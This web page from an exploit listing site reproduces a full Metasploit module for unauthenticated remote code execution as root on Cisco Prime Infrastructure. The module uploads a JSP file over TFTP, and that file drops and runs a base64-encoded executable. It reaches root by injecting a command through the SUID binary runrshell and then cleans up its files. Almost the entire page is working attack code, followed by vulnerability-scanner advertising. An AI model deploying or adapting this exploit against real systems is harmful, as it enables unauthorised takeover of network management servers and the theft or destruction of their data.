cisco prime infrastructure (unauthenticated) remote code execution

▸▸▸ Exploit & Vulnerability >>   remote exploit & multiple vulnerability




cisco prime infrastructure (unauthenticated) remote code execution Code Code...
				
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco Prime Infrastructure Unauthenticated Remote Code Execution', 'Description' => %q{ Cisco Prime Infrastructure (CPI) contains two basic flaws that when exploited allow an unauthenticated attacker to achieve remote code execution. The first flaw is a file upload vulnerability that allows the attacker to upload and execute files as the Apache Tomcat user; the second is a privilege escalation to root by bypassing execution restrictions in a SUID binary. This module exploits these vulnerabilities to achieve unauthenticated remote code execution as root on the CPI default installation. This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348. Earlier and later versions might also be affected, although 3.4.0.0.348 is the latest at the time of writing. }, 'Author' => [ 'Pedro Ribeiro' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', 'TODO' ], [ 'CVE', 'TODO' ], [ 'URL', 'TODO' ], [ 'URL', 'TODO' ] ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Cisco Prime Infrastructure', {} ] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'TODO' )) register_options( [ OptPort.new('RPORT', [true, 'The target port', 443]), OptPort.new('RPORT_TFTP', [true, 'TFTPD port', 69]), OptBool.new('SSL', [true, 'Use SSL connection', true]), OptString.new('TARGETURI', [ true, "swimtemp path", '/swimtemp']) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'swimtemp'), 'method' => 'GET' }) if res && res.code == 404 && res.body.length == 0 # at the moment this is the best way to detect # a 404 in swimtemp only returns the error code with a body length of 0, # while a 404 to another webapp or to the root returns code plus a body with content return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def upload_payload(payload) lport = datastore['LPORT'] || (1025 + rand(0xffff-1025)) lhost = datastore['LHOST'] || "0.0.0.0" remote_file = rand_text_alpha(rand(14) + 5) + '.jsp' tftp_client = Rex::Proto::TFTP::Client.new( "LocalHost" => lhost, "LocalPort" => lport, "PeerHost" => rhost, "PeerPort" => datastore['RPORT_TFTP'], "LocalFile" => "DATA:#{payload}", "RemoteFile" => remote_file, "Mode" => 'octet', "Context" => {'Msf' => self.framework, 'MsfExploit' => self}, "Action" => :upload ) print_status "Uploading TFTP payload to #{rhost}:#{datastore['TFTP_PORT']} as '#{remote_file}'" tftp_client.send_write_request remote_file end def generate_jsp_payload exe = generate_payload_exe base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6)+3) var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_pstream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path = rand_text_alpha(rand(8) + 3) var_tmp2 = rand_text_alpha(rand(8) + 3) var_path2 = rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path} + " " + #{var_path2}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path} + " " + #{var_path2}); | jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", ".bin"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); File #{var_tmp2} = File.createTempFile("#{native_payload_name}", ".sh"); String #{var_path2} = #{var_tmp2}.getAbsolutePath(); PrintWriter #{var_pstream} = new PrintWriter(new FileOutputStream(#{var_path2})); #{var_pstream}.println("!#/bin/sh"); #{var_pstream}.println("/opt/CSCOlumos/bin/runrshell '\\" && " + #{var_path} + " #'"); #{var_pstream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path2}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp = jsp.gsub(/\x0d\x0a/, "") jsp = jsp.gsub(/\x0a/, "") return jsp end def exploit jsp_payload = generate_jsp_payload jsp_name = upload_payload(jsp_payload) # we land in /opt/CSCOlumos, so we don't know the apache directory # as it changes between versions... so leave this commented for now # ... and try to find a good way to clean it later # register_files_for_cleanup(jsp_name) print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], jsp_name), 'method' => 'GET' }) handler end end

Cisco prime infrastructure (unauthenticated) remote code execution Vulnerability / Exploit Source : Cisco prime infrastructure (unauthenticated) remote code execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.